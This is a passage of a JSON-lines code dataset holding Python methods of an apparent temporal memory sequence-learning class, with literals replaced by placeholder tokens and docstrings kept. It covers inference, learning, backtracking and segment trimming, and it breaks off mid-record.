{"signature": "def _inferPhase1(self, activeColumns, useStartCells):", "body": "<EOL>self.infActiveState['<STR_LIT:t>'].fill(<NUM_LIT:0>)<EOL>numPredictedColumns = <NUM_LIT:0><EOL>if useStartCells:<EOL><INDENT>for c in activeColumns:<EOL><INDENT>self.infActiveState['<STR_LIT:t>'][c, <NUM_LIT:0>] = <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>for c in activeColumns:<EOL><INDENT>predictingCells = numpy.where(self.infPredictedState['<STR_LIT>'][c] == <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>numPredictingCells = len(predictingCells)<EOL>if numPredictingCells > <NUM_LIT:0>:<EOL><INDENT>self.infActiveState['<STR_LIT:t>'][c, predictingCells] = <NUM_LIT:1><EOL>numPredictedColumns += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>self.infActiveState['<STR_LIT:t>'][c, :] = <NUM_LIT:1> <EOL><DEDENT><DEDENT><DEDENT>if useStartCells or numPredictedColumns >= <NUM_LIT> * len(activeColumns):<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Update the inference active state from the last set of predictions\nand the current bottom-up.\n\nThis looks at:\n    - ``infPredictedState['t-1']``\nThis modifies:\n    - ``infActiveState['t']``\n\n:param activeColumns: (list) active bottom-ups\n:param useStartCells: (bool) If true, ignore previous predictions and simply \n       turn on the start cells in the active columns\n:returns: (bool) True if the current input was sufficiently predicted, OR if \n       we started over on startCells. False indicates that the current input \n       was NOT predicted, and we are now bursting on most columns.", "id": "f17565:c0:m52"}
{"signature": "def _inferPhase2(self):", "body": "<EOL>self.infPredictedState['<STR_LIT:t>'].fill(<NUM_LIT:0>)<EOL>self.cellConfidence['<STR_LIT:t>'].fill(<NUM_LIT:0>)<EOL>self.colConfidence['<STR_LIT:t>'].fill(<NUM_LIT:0>)<EOL>for c in range(self.numberOfCols):<EOL><INDENT>for i in range(self.cellsPerColumn):<EOL><INDENT>for s in self.cells[c][i]:<EOL><INDENT>numActiveSyns = self._getSegmentActivityLevel(<EOL>s, self.infActiveState['<STR_LIT:t>'], connectedSynapsesOnly=False)<EOL>if numActiveSyns < self.activationThreshold:<EOL><INDENT>continue<EOL><DEDENT>if self.verbosity >= <NUM_LIT:6>:<EOL><INDENT>print(\"<STR_LIT>\" % (c, i), end='<STR_LIT:U+0020>')<EOL>s.debugPrint()<EOL><DEDENT>dc = s.dutyCycle()<EOL>self.cellConfidence['<STR_LIT:t>'][c, i] += dc<EOL>self.colConfidence['<STR_LIT:t>'][c] += dc<EOL>if self._isSegmentActive(s, self.infActiveState['<STR_LIT:t>']):<EOL><INDENT>self.infPredictedState['<STR_LIT:t>'][c, i] = <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT><DEDENT>sumConfidences = self.colConfidence['<STR_LIT:t>'].sum()<EOL>if sumConfidences > <NUM_LIT:0>:<EOL><INDENT>self.colConfidence['<STR_LIT:t>'] /= sumConfidences<EOL>self.cellConfidence['<STR_LIT:t>'] /= sumConfidences<EOL><DEDENT>numPredictedCols = self.infPredictedState['<STR_LIT:t>'].max(axis=<NUM_LIT:1>).sum()<EOL>if numPredictedCols >= <NUM_LIT:0.5> * self.avgInputDensity:<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Phase 2 for the inference state. The computes the predicted state, then\nchecks to insure that the predicted state is not over-saturated, i.e.\nlook too close like a burst. This indicates that there were so many\nseparate paths learned from the current input columns to the predicted\ninput columns that bursting on the current input columns is most likely\ngenerated mix and match errors on cells in the predicted columns. If\nwe detect this situation, we instead turn on only the start cells in the\ncurrent active columns and re-generate the predicted state from those.\n\nThis looks at:\n    - `` infActiveState['t']``\n\nThis modifies:\n    - `` infPredictedState['t']``\n    - `` colConfidence['t']``\n    - `` cellConfidence['t']``\n\n:returns: (bool) True if we have a decent guess as to the next input.\n          Returning False from here indicates to the caller that we have\n          reached the end of a learned sequence.", "id": "f17565:c0:m53"}
{"signature": "def _updateInferenceState(self, activeColumns):", "body": "<EOL>self.infActiveState['<STR_LIT>'][:, :] = self.infActiveState['<STR_LIT:t>'][:, :]<EOL>self.infPredictedState['<STR_LIT>'][:, :] = self.infPredictedState['<STR_LIT:t>'][:, :]<EOL>self.cellConfidence['<STR_LIT>'][:, :] = self.cellConfidence['<STR_LIT:t>'][:, :]<EOL>self.colConfidence['<STR_LIT>'][:] = self.colConfidence['<STR_LIT:t>'][:]<EOL>if self.maxInfBacktrack > <NUM_LIT:0>:<EOL><INDENT>if len(self._prevInfPatterns) > self.maxInfBacktrack:<EOL><INDENT>self._prevInfPatterns.pop(<NUM_LIT:0>)<EOL><DEDENT>self._prevInfPatterns.append(activeColumns)<EOL><DEDENT>inSequence = self._inferPhase1(activeColumns, self.resetCalled)<EOL>if not inSequence:<EOL><INDENT>if self.verbosity >= <NUM_LIT:3>:<EOL><INDENT>print (\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>self._inferBacktrack(activeColumns)<EOL>return<EOL><DEDENT>inSequence = self._inferPhase2()<EOL>if not inSequence:<EOL><INDENT>if self.verbosity >= <NUM_LIT:3>:<EOL><INDENT>print (\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>self._inferBacktrack(activeColumns)<EOL><DEDENT>", "docstring": "Update the inference state. Called from :meth:`compute` on every iteration.\n\n:param activeColumns: (list) active column indices.", "id": "f17565:c0:m54"}
{"signature": "def _learnBacktrackFrom(self, startOffset, readOnly=True):", "body": "<EOL>numPrevPatterns = len(self._prevLrnPatterns)<EOL>currentTimeStepsOffset = numPrevPatterns - <NUM_LIT:1><EOL>if not readOnly:<EOL><INDENT>self.segmentUpdates = {}<EOL><DEDENT>if self.verbosity >= <NUM_LIT:3>:<EOL><INDENT>if readOnly:<EOL><INDENT>print((<EOL>\"<STR_LIT>\" % (<EOL>numPrevPatterns - <NUM_LIT:1> - startOffset),<EOL>self._prevLrnPatterns[startOffset]))<EOL><DEDENT>else:<EOL><INDENT>print((<EOL>\"<STR_LIT>\" % (<EOL>numPrevPatterns - <NUM_LIT:1> - startOffset),<EOL>self._prevLrnPatterns[startOffset]))<EOL><DEDENT><DEDENT>inSequence = True<EOL>for offset in range(startOffset, numPrevPatterns):<EOL><INDENT>self.lrnPredictedState['<STR_LIT>'][:, :] = self.lrnPredictedState['<STR_LIT:t>'][:, :]<EOL>self.lrnActiveState['<STR_LIT>'][:, :] = self.lrnActiveState['<STR_LIT:t>'][:, :]<EOL>inputColumns = self._prevLrnPatterns[offset]<EOL>if not readOnly:<EOL><INDENT>self._processSegmentUpdates(inputColumns)<EOL><DEDENT>if offset == startOffset:<EOL><INDENT>self.lrnActiveState['<STR_LIT:t>'].fill(<NUM_LIT:0>)<EOL>for c in inputColumns:<EOL><INDENT>self.lrnActiveState['<STR_LIT:t>'][c, <NUM_LIT:0>] = <NUM_LIT:1><EOL><DEDENT>inSequence = True<EOL><DEDENT>else:<EOL><INDENT>inSequence = self._learnPhase1(inputColumns, readOnly=readOnly)<EOL><DEDENT>if not inSequence or offset == currentTimeStepsOffset:<EOL><INDENT>break<EOL><DEDENT>if self.verbosity >= <NUM_LIT:3>:<EOL><INDENT>print(\"<STR_LIT>\", inputColumns)<EOL><DEDENT>self._learnPhase2(readOnly=readOnly)<EOL><DEDENT>return inSequence<EOL>", "docstring": "A utility method called from learnBacktrack. This will backtrack\nstarting from the given startOffset in our prevLrnPatterns queue.\n\nIt returns True if the backtrack was successful and we managed to get\npredictions all the way up to the current time step.\n\nIf readOnly, then no segments are updated or modified, otherwise, all\nsegment updates that belong to the given path are applied.\n\nThis updates/modifies:\n\n    - lrnActiveState['t']\n\nThis trashes:\n\n    - lrnPredictedState['t']\n    - lrnPredictedState['t-1']\n    - lrnActiveState['t-1']\n\n:param startOffset: Start offset within the prevLrnPatterns input history\n:param readOnly: \n:return: True if we managed to lock on to a sequence that started\n                   earlier.\n                   If False, we lost predictions somewhere along the way\n                   leading up to the current time.", "id": "f17565:c0:m55"}
{"signature": "def _learnBacktrack(self):", "body": "<EOL>numPrevPatterns = len(self._prevLrnPatterns) - <NUM_LIT:1><EOL>if numPrevPatterns <= <NUM_LIT:0>:<EOL><INDENT>if self.verbosity >= <NUM_LIT:3>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>return False<EOL><DEDENT>badPatterns = []<EOL>inSequence = False<EOL>for startOffset in range(<NUM_LIT:0>, numPrevPatterns):<EOL><INDENT>inSequence = self._learnBacktrackFrom(startOffset, readOnly=True)<EOL>if inSequence:<EOL><INDENT>break<EOL><DEDENT>badPatterns.append(startOffset)<EOL><DEDENT>if not inSequence:<EOL><INDENT>if self.verbosity >= <NUM_LIT:3>:<EOL><INDENT>print (\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>self._prevLrnPatterns = []<EOL>return False<EOL><DEDENT>if self.verbosity >= <NUM_LIT:3>:<EOL><INDENT>print((\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (numPrevPatterns - startOffset),<EOL>self._prevLrnPatterns[startOffset]))<EOL><DEDENT>self._learnBacktrackFrom(startOffset, readOnly=False)<EOL>for i in range(numPrevPatterns):<EOL><INDENT>if i in badPatterns or i <= startOffset:<EOL><INDENT>if self.verbosity >= <NUM_LIT:3>:<EOL><INDENT>print((\"<STR_LIT>\",<EOL>self._prevLrnPatterns[<NUM_LIT:0>]))<EOL><DEDENT>self._prevLrnPatterns.pop(<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>return numPrevPatterns - startOffset<EOL>", "docstring": "This \"backtracks\" our learning state, trying to see if we can lock onto\nthe current set of inputs by assuming the sequence started up to N steps\nago on start cells.\n\nThis will adjust @ref lrnActiveState['t'] if it does manage to lock on to a\nsequence that started earlier.\n\n:returns:          >0 if we managed to lock on to a sequence that started\n                  earlier. The value returned is how many steps in the\n                  past we locked on.\n                  If 0 is returned, the caller needs to change active\n                  state to start on start cells.\n\nHow it works:\n-------------------------------------------------------------------\nThis method gets called from updateLearningState when we detect either of\nthe following two conditions:\n\n#. Our PAM counter (@ref pamCounter) expired\n#. We reached the max allowed learned sequence length\n\nEither of these two conditions indicate that we want to start over on start\ncells.\n\nRather than start over on start cells on the current input, we can\naccelerate learning by backtracking a few steps ago and seeing if perhaps\na sequence we already at least partially know already started.\n\nThis updates/modifies:\n    - @ref lrnActiveState['t']\n\nThis trashes:\n    - @ref lrnActiveState['t-1']\n    - @ref lrnPredictedState['t']\n    - @ref lrnPredictedState['t-1']", "id": "f17565:c0:m56"}
{"signature": "def _learnPhase1(self, activeColumns, readOnly=False):", "body": "<EOL>self.lrnActiveState['<STR_LIT:t>'].fill(<NUM_LIT:0>)<EOL>numUnpredictedColumns = <NUM_LIT:0><EOL>for c in activeColumns:<EOL><INDENT>predictingCells = numpy.where(self.lrnPredictedState['<STR_LIT>'][c] == <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>numPredictedCells = len(predictingCells)<EOL>assert numPredictedCells <= <NUM_LIT:1><EOL>if numPredictedCells == <NUM_LIT:1>:<EOL><INDENT>i = predictingCells[<NUM_LIT:0>]<EOL>self.lrnActiveState['<STR_LIT:t>'][c, i] = <NUM_LIT:1><EOL>continue<EOL><DEDENT>numUnpredictedColumns += <NUM_LIT:1><EOL>if readOnly:<EOL><INDENT>continue<EOL><DEDENT>i, s, numActive = self._getBestMatchingCell(<EOL>c, self.lrnActiveState['<STR_LIT>'], self.minThreshold)<EOL>if s is not None and s.isSequenceSegment():<EOL><INDENT>if self.verbosity >= <NUM_LIT:4>:<EOL><INDENT>print(\"<STR_LIT>\", c)<EOL><DEDENT>self.lrnActiveState['<STR_LIT:t>'][c, i] = <NUM_LIT:1><EOL>segUpdate = self._getSegmentActiveSynapses(<EOL>c, i, s, self.lrnActiveState['<STR_LIT>'], newSynapses = True)<EOL>s.totalActivations += <NUM_LIT:1><EOL>trimSegment = self._adaptSegment(segUpdate)<EOL>if trimSegment:<EOL><INDENT>self._trimSegmentsInCell(c, i, [s], minPermanence = <NUM_LIT>,<EOL>minNumSyns = <NUM_LIT:0>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>i = self._getCellForNewSegment(c)<EOL>if (self.verbosity >= <NUM_LIT:4>):<EOL><INDENT>print(\"<STR_LIT>\", c, end='<STR_LIT:U+0020>')<EOL>print(\"<STR_LIT>\", i)<EOL><DEDENT>self.lrnActiveState['<STR_LIT:t>'][c, i] = <NUM_LIT:1><EOL>segUpdate = self._getSegmentActiveSynapses(<EOL>c, i, None, self.lrnActiveState['<STR_LIT>'], newSynapses=True)<EOL>segUpdate.sequenceSegment = True <EOL>self._adaptSegment(segUpdate)  <EOL><DEDENT><DEDENT>numBottomUpColumns = len(activeColumns)<EOL>if numUnpredictedColumns < numBottomUpColumns / <NUM_LIT:2>:<EOL><INDENT>return True   <EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Compute the learning active state given the predicted state and\nthe bottom-up input.\n\n:param activeColumns list of active bottom-ups\n:param readOnly      True if being called from backtracking logic.\n                     This tells us not to increment any segment\n                     duty cycles or queue up any updates.\n:returns: True if the current input was sufficiently predicted, OR\n         if we started over on startCells. False indicates that the current\n         input was NOT predicted, well enough to consider it as \"inSequence\"\n\nThis looks at:\n    - @ref lrnActiveState['t-1']\n    - @ref lrnPredictedState['t-1']\n\nThis modifies:\n    - @ref lrnActiveState['t']\n    - @ref lrnActiveState['t-1']", "id": "f17565:c0:m57"}
{"signature": "def _learnPhase2(self, readOnly=False):", "body": "<EOL>self.lrnPredictedState['<STR_LIT:t>'].fill(<NUM_LIT:0>)<EOL>for c in range(self.numberOfCols):<EOL><INDENT>i, s, numActive = self._getBestMatchingCell(<EOL>c, self.lrnActiveState['<STR_LIT:t>'], minThreshold = self.activationThreshold)<EOL>if i is None:<EOL><INDENT>continue<EOL><DEDENT>self.lrnPredictedState['<STR_LIT:t>'][c, i] = <NUM_LIT:1><EOL>if readOnly:<EOL><INDENT>continue<EOL><DEDENT>segUpdate = self._getSegmentActiveSynapses(<EOL>c, i, s, activeState=self.lrnActiveState['<STR_LIT:t>'],<EOL>newSynapses=(numActive < self.newSynapseCount))<EOL>s.totalActivations += <NUM_LIT:1>    <EOL>self._addToSegmentUpdates(c, i, segUpdate)<EOL>if self.doPooling:<EOL><INDENT>predSegment = self._getBestMatchingSegment(c, i,<EOL>self.lrnActiveState['<STR_LIT>'])<EOL>segUpdate = self._getSegmentActiveSynapses(c, i, predSegment,<EOL>self.lrnActiveState['<STR_LIT>'], newSynapses=True)<EOL>self._addToSegmentUpdates(c, i, segUpdate)<EOL><DEDENT><DEDENT>", "docstring": "Compute the predicted segments given the current set of active cells.\n\n:param readOnly       True if being called from backtracking logic.\n                      This tells us not to increment any segment\n                      duty cycles or queue up any updates.\n\nThis computes the lrnPredictedState['t'] and queues up any segments that\nbecame active (and the list of active synapses for each segment) into\nthe segmentUpdates queue\n\nThis looks at:\n    - @ref lrnActiveState['t']\n\nThis modifies:\n    - @ref lrnPredictedState['t']\n    - @ref segmentUpdates", "id": "f17565:c0:m58"}
{"signature": "def _updateLearningState(self, activeColumns):", "body": "<EOL>self.lrnPredictedState['<STR_LIT>'][:, :] = self.lrnPredictedState['<STR_LIT:t>'][:, :]<EOL>self.lrnActiveState['<STR_LIT>'][:, :] = self.lrnActiveState['<STR_LIT:t>'][:, :]<EOL>if self.maxLrnBacktrack > <NUM_LIT:0>:<EOL><INDENT>if len(self._prevLrnPatterns) > self.maxLrnBacktrack:<EOL><INDENT>self._prevLrnPatterns.pop(<NUM_LIT:0>)<EOL><DEDENT>self._prevLrnPatterns.append(activeColumns)<EOL>if self.verbosity >= <NUM_LIT:4>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>print(self._prevLrnPatterns)<EOL><DEDENT><DEDENT>self._processSegmentUpdates(activeColumns)<EOL>if self.pamCounter > <NUM_LIT:0>:<EOL><INDENT>self.pamCounter -= <NUM_LIT:1><EOL><DEDENT>self.learnedSeqLength += <NUM_LIT:1><EOL>if not self.resetCalled:<EOL><INDENT>inSequence = self._learnPhase1(activeColumns)<EOL>if inSequence:<EOL><INDENT>self.pamCounter = self.pamLength<EOL><DEDENT><DEDENT>if self.verbosity >= <NUM_LIT:3>:<EOL><INDENT>print(\"<STR_LIT>\", self.pamCounter, \"<STR_LIT>\",self.learnedSeqLength)<EOL><DEDENT>if (self.resetCalled or self.pamCounter == <NUM_LIT:0> or<EOL>(self.maxSeqLength != <NUM_LIT:0> and<EOL>self.learnedSeqLength >= self.maxSeqLength)):<EOL><INDENT>if  self.verbosity >= <NUM_LIT:3>:<EOL><INDENT>if self.resetCalled:<EOL><INDENT>print(\"<STR_LIT>\", activeColumns, \"<STR_LIT>\")<EOL><DEDENT>elif self.pamCounter == <NUM_LIT:0>:<EOL><INDENT>print(\"<STR_LIT>\", activeColumns, \"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\", activeColumns, \"<STR_LIT>\")<EOL><DEDENT><DEDENT>if self.pamCounter == <NUM_LIT:0>:<EOL><INDENT>seqLength = self.learnedSeqLength - self.pamLength<EOL><DEDENT>else:<EOL><INDENT>seqLength = self.learnedSeqLength<EOL><DEDENT>if  self.verbosity >= <NUM_LIT:3>:<EOL><INDENT>print(\"<STR_LIT>\", seqLength)<EOL><DEDENT>self._updateAvgLearnedSeqLength(seqLength)<EOL>backSteps = <NUM_LIT:0><EOL>if not self.resetCalled:<EOL><INDENT>backSteps = self._learnBacktrack()<EOL><DEDENT>if self.resetCalled or backSteps is None or backSteps == <NUM_LIT:0>:<EOL><INDENT>backSteps = <NUM_LIT:0><EOL>self.lrnActiveState['<STR_LIT:t>'].fill(<NUM_LIT:0>)<EOL>for c in activeColumns:<EOL><INDENT>self.lrnActiveState['<STR_LIT:t>'][c, <NUM_LIT:0>] = <NUM_LIT:1><EOL><DEDENT>self._prevLrnPatterns = []<EOL><DEDENT>self.pamCounter =  self.pamLength<EOL>self.learnedSeqLength = backSteps<EOL>self.segmentUpdates = {}<EOL><DEDENT>self._learnPhase2()<EOL>", "docstring": "Update the learning state. Called from compute() on every iteration\n:param activeColumns List of active column indices", "id": "f17565:c0:m59"}
{"signature": "def compute(self, bottomUpInput, enableLearn, enableInference=None):", "body": "<EOL>if enableInference is None:<EOL><INDENT>if enableLearn:<EOL><INDENT>enableInference = False<EOL><DEDENT>else:<EOL><INDENT>enableInference = True<EOL><DEDENT><DEDENT>assert (enableLearn or enableInference)<EOL>activeColumns = bottomUpInput.nonzero()[<NUM_LIT:0>]<EOL>if enableLearn:<EOL><INDENT>self.lrnIterationIdx += <NUM_LIT:1><EOL><DEDENT>self.iterationIdx +=  <NUM_LIT:1><EOL>if self.verbosity >= <NUM_LIT:3>:<EOL><INDENT>print(\"<STR_LIT>\" % (self.iterationIdx))<EOL>print(\"<STR_LIT>\", activeColumns)<EOL><DEDENT>if enableLearn:<EOL><INDENT>if self.lrnIterationIdx in Segment.dutyCycleTiers:<EOL><INDENT>for c, i in itertools.product(range(self.numberOfCols),<EOL>range(self.cellsPerColumn)):<EOL><INDENT>for segment in self.cells[c][i]:<EOL><INDENT>segment.dutyCycle()<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if self.avgInputDensity is None:<EOL><INDENT>self.avgInputDensity = len(activeColumns)<EOL><DEDENT>else:<EOL><INDENT>self.avgInputDensity = (<NUM_LIT> * self.avgInputDensity +<EOL><NUM_LIT> * len(activeColumns))<EOL><DEDENT>if enableInference:<EOL><INDENT>self._updateInferenceState(activeColumns)<EOL><DEDENT>if enableLearn:<EOL><INDENT>self._updateLearningState(activeColumns)<EOL>if self.globalDecay > <NUM_LIT:0.0> and ((self.lrnIterationIdx % self.maxAge) == <NUM_LIT:0>):<EOL><INDENT>for c, i in itertools.product(range(self.numberOfCols),<EOL>range(self.cellsPerColumn)):<EOL><INDENT>segsToDel = [] <EOL>for segment in self.cells[c][i]:<EOL><INDENT>age = self.lrnIterationIdx - segment.lastActiveIteration<EOL>if age <= self.maxAge:<EOL><INDENT>continue<EOL><DEDENT>synsToDel = [] <EOL>for synapse in segment.syns:<EOL><INDENT>synapse[<NUM_LIT:2>] = synapse[<NUM_LIT:2>] - self.globalDecay <EOL>if synapse[<NUM_LIT:2>] <= <NUM_LIT:0>:<EOL><INDENT>synsToDel.append(synapse) <EOL><DEDENT><DEDENT>if len(synsToDel) == segment.getNumSynapses():<EOL><INDENT>segsToDel.append(segment) <EOL><DEDENT>elif len(synsToDel) > <NUM_LIT:0>:<EOL><INDENT>for syn in synsToDel: <EOL><INDENT>segment.syns.remove(syn)<EOL><DEDENT><DEDENT><DEDENT>for seg in segsToDel: <EOL><INDENT>self._cleanUpdatesList(c, i, seg)<EOL>self.cells[c][i].remove(seg)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if self.collectStats:<EOL><INDENT>if enableInference:<EOL><INDENT>predictedState = self.infPredictedState['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>predictedState = self.lrnPredictedState['<STR_LIT>']<EOL><DEDENT>self._updateStatsInferEnd(self._internalStats,<EOL>activeColumns,<EOL>predictedState,<EOL>self.colConfidence['<STR_LIT>'])<EOL><DEDENT>output = self._computeOutput()<EOL>self.printComputeEnd(output, learn=enableLearn)<EOL>self.resetCalled = False<EOL>return output<EOL>", "docstring": "Handle one compute, possibly learning.\n\n.. note::  It is an error to have both ``enableLearn`` and \n           ``enableInference`` set to False\n\n.. note:: By default, we don't compute the inference output when learning \n          because it slows things down, but you can override this by passing \n          in True for ``enableInference``.\n\n:param bottomUpInput: The bottom-up input as numpy list, typically from a \n       spatial pooler.\n:param enableLearn: (bool) If true, perform learning\n:param enableInference: (bool) If None, default behavior is to disable the \n       inference output when ``enableLearn`` is on. If true, compute the \n       inference output. If false, do not compute the inference output.\n\n:returns: TODO: document", "id": "f17565:c0:m60"}
{"signature": "def infer(self, bottomUpInput):", "body": "return self.compute(bottomUpInput, enableLearn=False)<EOL>", "docstring": "TODO: document\n\n:param bottomUpInput: \n:return:", "id": "f17565:c0:m61"}
{"signature": "def learn(self, bottomUpInput, enableInference=None):", "body": "return self.compute(bottomUpInput, enableLearn=True,<EOL>enableInference=enableInference)<EOL>", "docstring": "TODO: document\n\n:param bottomUpInput: \n:param enableInference: \n:return:", "id": "f17565:c0:m62"}
{"signature": "def _columnConfidences(self):", "body": "return self.colConfidence['<STR_LIT:t>']<EOL>", "docstring": "Returns the stored cell confidences from the last compute.\n\n:returns: Column confidence scores", "id": "f17565:c0:m63"}
{"signature": "def topDownCompute(self):", "body": "<EOL>return self._columnConfidences()<EOL>", "docstring": "For now, we will assume there is no one above us and that bottomUpOut is\nsimply the output that corresponds to our currently stored column\nconfidences.\n\n:returns: the same thing as :meth:`columnConfidences`", "id": "f17565:c0:m64"}
{"signature": "def _trimSegmentsInCell(self, colIdx, cellIdx, segList, minPermanence,<EOL>minNumSyns):", "body": "<EOL>if minPermanence is None:<EOL><INDENT>minPermanence = self.connectedPerm<EOL><DEDENT>if minNumSyns is None:<EOL><INDENT>minNumSyns = self.activationThreshold<EOL><DEDENT>nSegsRemoved, nSynsRemoved = <NUM_LIT:0>, <NUM_LIT:0><EOL>segsToDel = [] <EOL>for segment in segList:<EOL><INDENT>synsToDel = [syn for syn in segment.syns if syn[<NUM_LIT:2>] < minPermanence]<EOL>if len(synsToDel) == len(segment.syns):<EOL><INDENT>segsToDel.append(segment) <EOL><DEDENT>else:<EOL><INDENT>if len(synsToDel) > <NUM_LIT:0>:<EOL><INDENT>for syn in synsToDel: <EOL><INDENT>segment.syns.remove(syn)<EOL>nSynsRemoved += <NUM_LIT:1><EOL><DEDENT><DEDENT>if len(segment.syns) < minNumSyns:<EOL><INDENT>segsToDel.append(segment)<EOL><DEDENT><DEDENT><DEDENT>nSegsRemoved += len(segsToDel)<EOL>for seg in segsToDel: <EOL><INDENT>self._cleanUpdatesList(colIdx, cellIdx, seg)<EOL>self.cells[colIdx][cellIdx].remove(seg)<EOL>nSynsRemoved += len(seg.syns)<EOL><DEDENT>return nSegsRemoved, nSynsRemoved<EOL>", "docstring": "This method goes through a list of segments for a given cell and\ndeletes all synapses whose permanence is less than minPermanence and deletes\nany segments that have less than minNumSyns synapses remaining.\n\n:param colIdx        Column index\n:param cellIdx       Cell index within the column\n:param segList       List of segment references\n:param minPermanence Any syn whose permamence is 0 or < minPermanence will\n                     be deleted.\n:param minNumSyns    Any segment with less than minNumSyns synapses remaining\n                     in it will be deleted.\n\n:returns: tuple (numSegsRemoved, numSynsRemoved)", "id": "f17565:c0:m65"}
{"signature": "def trimSegments(self, minPermanence=None, minNumSyns=None):", "body": "<EOL>if minPermanence is None:<EOL><INDENT>minPermanence = self.connectedPerm<EOL><DEDENT>if minNumSyns is None:<EOL><INDENT>minNumSyns = self.activationThreshold<EOL><DEDENT>totalSegsRemoved, totalSynsRemoved = <NUM_LIT:0>, <NUM_LIT:0><EOL>for c, i in itertools.product(range(self.numberOfCols),<EOL>range(self.cellsPerColumn)):<EOL><INDENT>(segsRemoved, synsRemoved) = self._trimSegmentsInCell(<EOL>colIdx=c, cellIdx=i, segList=self.cells[c][i],<EOL>minPermanence=minPermanence, minNumSyns=minNumSyns)<EOL>totalSegsRemoved += segsRemoved<EOL>totalSynsRemoved += synsRemoved<EOL><DEDENT>if self.verbosity >= <NUM_LIT:5>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>self.printCells(predictedOnly=False)<EOL><DEDENT>return totalSegsRemoved, totalSynsRemoved<EOL>", "docstring": "This method deletes all synapses whose permanence is less than\nminPermanence and deletes any segments that have less than\nminNumSyns synapses remaining.\n\n:param minPermanence: (float) Any syn whose permanence is 0 or < \n       ``minPermanence``  will be deleted. If None is passed in, then \n       ``self.connectedPerm`` is used.\n:param minNumSyns: (int) Any segment with less than ``minNumSyns`` synapses \n       remaining in it will be deleted. If None is passed in, then \n       ``self.activationThreshold`` is used.\n:returns: (tuple) ``numSegsRemoved``, ``numSynsRemoved``", "id": "f17565:c0:m66"}
{"signature": "def _cleanUpdatesList(self, col, cellIdx, seg):", "body": "<EOL>for key, updateList in self.segmentUpdates.items():<EOL><INDENT>c, i = key[<NUM_LIT:0>], key[<NUM_LIT:1>]<EOL>if c == col and i == cellIdx:<EOL><INDENT>for update in updateList:<EOL><INDENT>if update[<NUM_LIT:1>].segment == seg:<EOL><INDENT>self._removeSegmentUpdate(update)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Removes any update that would be for the given col, cellIdx, segIdx.\n\nNOTE: logically, we need to do this when we delete segments, so that if\nan update refers to a segment that was just deleted, we also remove\nthat update from the update list. However, I haven't seen it trigger\nin any of the unit tests yet, so it might mean that it's not needed\nand that situation doesn't occur, by construction.", "id": "f17565:c0:m67"}
{"signature": "def finishLearning(self):", "body": "<EOL>self.trimSegments(minPermanence=<NUM_LIT>)<EOL>for c, i in itertools.product(range(self.numberOfCols),<EOL>range(self.cellsPerColumn)):<EOL><INDENT>for segment in self.cells[c][i]:<EOL><INDENT>segment.dutyCycle()<EOL><DEDENT><DEDENT>if self.cellsPerColumn > <NUM_LIT:1>:<EOL><INDENT>for c in range(self.numberOfCols):<EOL><INDENT>assert self.getNumSegmentsInCell(c, <NUM_LIT:0>) == <NUM_LIT:0><EOL><DEDENT><DEDENT>", "docstring": "Called when learning has been completed. This method just calls\n:meth:`trimSegments` and then clears out caches.", "id": "f17565:c0:m68"}
{"signature": "def _checkPrediction(self, patternNZs, output=None, colConfidence=None,<EOL>details=False):", "body": "<EOL>numPatterns = len(patternNZs)<EOL>orAll = set()<EOL>orAll = orAll.union(*patternNZs)<EOL>if output is None:<EOL><INDENT>assert self.currentOutput is not None<EOL>output = self.currentOutput<EOL><DEDENT>output = set(output.sum(axis=<NUM_LIT:1>).nonzero()[<NUM_LIT:0>])<EOL>totalExtras = len(output.difference(orAll))<EOL>totalMissing = len(orAll.difference(output))<EOL>if colConfidence is None:<EOL><INDENT>colConfidence = self.colConfidence['<STR_LIT:t>']<EOL><DEDENT>confidences = []<EOL>for i in range(numPatterns):<EOL><INDENT>positivePredictionSum = colConfidence[patternNZs[i]].sum()<EOL>positiveColumnCount   = len(patternNZs[i])<EOL>totalPredictionSum    = colConfidence.sum()<EOL>totalColumnCount      = len(colConfidence)<EOL>negativePredictionSum = totalPredictionSum - positivePredictionSum<EOL>negativeColumnCount   = totalColumnCount   - positiveColumnCount<EOL>if positiveColumnCount != <NUM_LIT:0>:<EOL><INDENT>positivePredictionScore = positivePredictionSum<EOL><DEDENT>else:<EOL><INDENT>positivePredictionScore = <NUM_LIT:0.0><EOL><DEDENT>if negativeColumnCount != <NUM_LIT:0>:<EOL><INDENT>negativePredictionScore = negativePredictionSum<EOL><DEDENT>else:<EOL><INDENT>negativePredictionScore = <NUM_LIT:0.0><EOL><DEDENT>currentSum = negativePredictionScore + positivePredictionScore<EOL>if currentSum > <NUM_LIT:0>:<EOL><INDENT>positivePredictionScore *= <NUM_LIT:1.0>/currentSum<EOL>negativePredictionScore *= <NUM_LIT:1.0>/currentSum<EOL><DEDENT>predictionScore = positivePredictionScore - negativePredictionScore<EOL>confidences.append((predictionScore,<EOL>positivePredictionScore,<EOL>negativePredictionScore))<EOL><DEDENT>if details:<EOL><INDENT>missingPatternBits = [set(pattern).difference(output)<EOL>for pattern in patternNZs]<EOL>return (totalExtras, totalMissing, confidences, missingPatternBits)<EOL><DEDENT>else:<EOL><INDENT>return (totalExtras, totalMissing, confidences)<EOL><DEDENT>", "docstring": 